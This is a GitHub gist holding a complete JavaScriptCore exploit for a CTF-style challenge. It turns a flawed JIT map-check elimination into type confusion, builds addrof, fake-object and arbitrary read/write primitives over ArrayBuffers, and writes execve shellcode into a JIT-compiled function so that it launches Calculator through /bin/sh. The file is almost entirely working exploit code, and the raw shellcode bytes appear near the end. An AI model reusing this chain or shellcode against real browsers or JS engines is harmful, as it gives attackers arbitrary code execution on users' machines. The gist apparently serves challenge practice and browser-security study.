Skip to content

Instantly share code, notes, and snippets.

@bkth
Last active May 8, 2020 03:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bkth/38af9cf37744fa602ca3a5a10afc6d2f to your computer and use it in GitHub Desktop.
Save bkth/38af9cf37744fa602ca3a5a10afc6d2f to your computer and use it in GitHub Desktop.
exploit for saelo's challenge v9
// JIT the target function that we will overwrite with our shellcode, even though W ^ X was already in HEAD when I wrote the exploit
// It was not enabled for the release version at the time
function yolo(o) {
var tmp = o ** 2 + o;
tmp *= 17;
tmp += o ** 37;
return tmp;
}
yolo(3);
yolo(4);
for (var i = 0; i < 0x10000; ++i) {
yolo(i);
}
yolo(5);
// utilities from saelo :)
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
// Exploit
var ab = new ArrayBuffer(1024);
var f64 = new Float64Array(ab);
var u32 = new Uint32Array(ab);
function from_double(v) {
f64[0] = v;
return u32[0] + (u32[1] << 32);
}
function cloneFunc( func ) {
// from http://stackoverflow.com/a/19515928
// used to create a copy of a function
var reFn = /^function\s*([^\s(]*)\s*\(([^)]*)\)[^{]*\{([^]*)\}$/gi
, s = func.toString().replace(/^\s|\s$/g, '')
, m = reFn.exec(s);
if (!m || !m.length) return;
var conf = {
name : m[1] || '',
args : m[2].replace(/\s+/g,'').split(','),
body : m[3] || ''
}
var clone = Function.prototype.constructor.apply(this, [].concat(conf.args, conf.body));
return clone;
}
// the patch from saelo does some redundancy eliminations on map checks which is broken we can change the map of an object via callback
// between the first map check and the second one (which will be removed) and create a type confusion
function jit1(o, cb) {
var s = o.a;
cb();
return o.a;
}
// function to leak the address of an object
function addrof(o) {
cloned_addrof = cloneFunc(_addrof);
return cloned_addrof(o);
}
function _addrof(o) {
var obj = {a:1.337}
jit1(obj, function(){});
jit1(obj, function(){});
for (var i = 0; i< 0x10000; ++i) {
jit1(obj, function(){});
}
return jit1(obj, function() {obj.a = o;});
}
function jit2(o, val, cb) {
var s = o.x;
cb();
o.y = val
return o.a;
}
var fake_object = {f:3, g:4, h:5, j:6, k:7, l:8};
fake_object.z = {};
fake_object.e = {};
function fake_stuff(v) {
var obj = {x:1.237}
var val = v.asDouble();
obj.y = 13.37;
jit2(obj, val, function(){});
jit2(obj, val, function(){});
for (var i = 0; i< 0x10000; ++i) {
jit2(obj, val+i, function(){});
}
return jit2(obj, val, function() {obj.y = fake_object;});
}
var target = new ArrayBuffer(1024);
// trigger GC a bunch of times ot move everything to Old space and avoid bad surprises
function gc() {
for (var i = 0; i < 0x100; ++i) {
var tmp = new Uint8Array(0x100000);
}
}
gc();
gc();
gc();
gc();
var leak = Sub(Int64.fromDouble(addrof(target)), 1);
print("[*] leak is " + leak);
fake_stuff(Add(leak, 17));
var buf = new ArrayBuffer(1024);
fake_object.e = buf;
fake_object.z = buf;
var u8 = new Uint8Array(target);
// we overwrote the properties pointer of our object to point into the first array buffer which we made point
// to our second array buffer, by writing to the first array buffer we can overwrite the metadata of the second one
// giving us an arbitrary R/W primitive
function set_addr(v) {
offset = 31;
for (var i = 0; i < 6; ++i) {
u8[offset] = v & 0xff
v /= 0x100
offset += 1
}
}
function read(addr) {
set_addr(addr);
var f64 = new Float64Array(buf);
return Int64.fromDouble(f64[0]);
}
function write(v, addr) {
set_addr(addr);
var f64 = new Float64Array(buf);
var val = new Int64(v);
f64[0] = val.asDouble();
}
fake_object.z = yolo;
jitted_fn = Sub(read(Add(leak, 32)), 1);
print("[+] jitted function is at " + jitted_fn);
code = Sub(read(Add(jitted_fn, 0x38)), 1);
code = Add(code, 0x60);
print("[+] code is at " + code);
cmd = "open -a Calculator\0"
fake_object.z = cmd;
cmd_addr = Add(Sub(read(Add(leak, 32)), 1), 0x18);
print("[+] cmd addr is " + cmd_addr);
var shellcode = [].concat([72,49,210,72,184,47,98,105,110,47,115,104,0,80,72,137,231,184,45,99,0,0,80,72,137,225,72,184], Array.from(cmd_addr.bytes()), [82,80,81,87,72,137,230, 0x48, 0xc7, 0xc0, 0x3b, 0, 0, 0x02,15,5]);
set_addr(code);
(new Uint8Array(buf)).set(shellcode, 0);
yolo(3);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment